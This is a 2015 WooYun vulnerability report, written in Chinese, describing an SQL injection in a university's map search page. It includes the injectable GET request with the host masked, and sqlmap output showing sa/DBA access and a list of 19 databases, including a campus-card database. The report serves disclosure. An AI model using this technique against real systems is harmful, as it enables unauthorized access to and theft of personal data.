当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146198

漏洞标题：内蒙古工业大学sql注入漏洞（DBA权限/19裤涉及icard裤）

相关厂商：CCERT教育网应急响应组

漏洞作者： 路人甲

提交时间：2015-10-13 11:33

修复时间：2015-10-18 11:34

公开时间：2015-10-18 11:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：13

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-13： 细节已通知厂商并且等待厂商处理中
2015-10-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

1.注入点是个serach页面

GET /map/mapsearch.aspx?lx=&ly=&ux=&uy=&map=0&_flowId=map&keyword=1%27&Submit5=%E6%90%9C++%E7%B4%A2 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/
Connection: keep-alive


加个单引号出现报错

$5R[YNLZX{1{}A[M(CI5Y@J.png


丢进sqlmap出数据

[15:11:36] [INFO] testing Microsoft SQL Server
[15:11:36] [WARNING] it is very important not to stress the network adapter'
ndwidth during usage of time-based queries
[15:11:41] [INFO] confirming Microsoft SQL Server
[15:11:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:11:53] [INFO] fetching current user
[15:11:53] [INFO] retrieved: sa
current user:    'sa'


[15:26:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:26:35] [INFO] testing if current user is DBA
[15:26:35] [WARNING] time-based comparison needs larger statistical model.
g a few dummy requests, please wait..
[15:26:46] [WARNING] it is very important not to stress the network adapte
ndwidth during usage of time-based queries
1
current user is DBA:    'True'


19个数据库

ndwidth during usage of time-based queries
1
[15:28:03] [INFO] adjusting time delay to 2 seconds due to good response t
9
[15:28:09] [INFO] retrieved: db_compus
[15:30:08] [INFO] retrieved: db
[15:30:57] [CRITICAL] unable to connect to the target url or proxy, sqlmap
ing to retry the request
_connect!
[15:32:50] [INFO] retrieved: d
[15:33:13] [ERROR] invalid character detected. retrying..
[15:33:13] [WARNING] increasing time delay to 3 seconds
b_
[15:33:59] [ERROR] invalid character detected. retrying..
[15:33:59] [WARNING] increasing time delay to 4 seconds
inspecto
[15:37:11] [ERROR] invalid character detected. retrying..
[15:37:11] [WARNING] increasing time delay to 5 seconds
r
[15:37:45] [INFO] retrieved: db_m
[15:39:42] [ERROR] invalid character detected. retrying..
[15:39:42] [WARNING] increasing time delay to 6 seconds
ambo
[15:41:28] [INFO] retrieved:
[15:41:50] [ERROR] invalid character detected. retrying..
[15:41:50] [WARNING] increasing time delay to 7 seconds
[15:42:16] [ERROR] unable to properly validate last character value ('i').
icard
[15:43:08] [INFO] retrieved:


漏洞证明：

icard

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-18 11:34

厂商回复：

最新状态：

暂无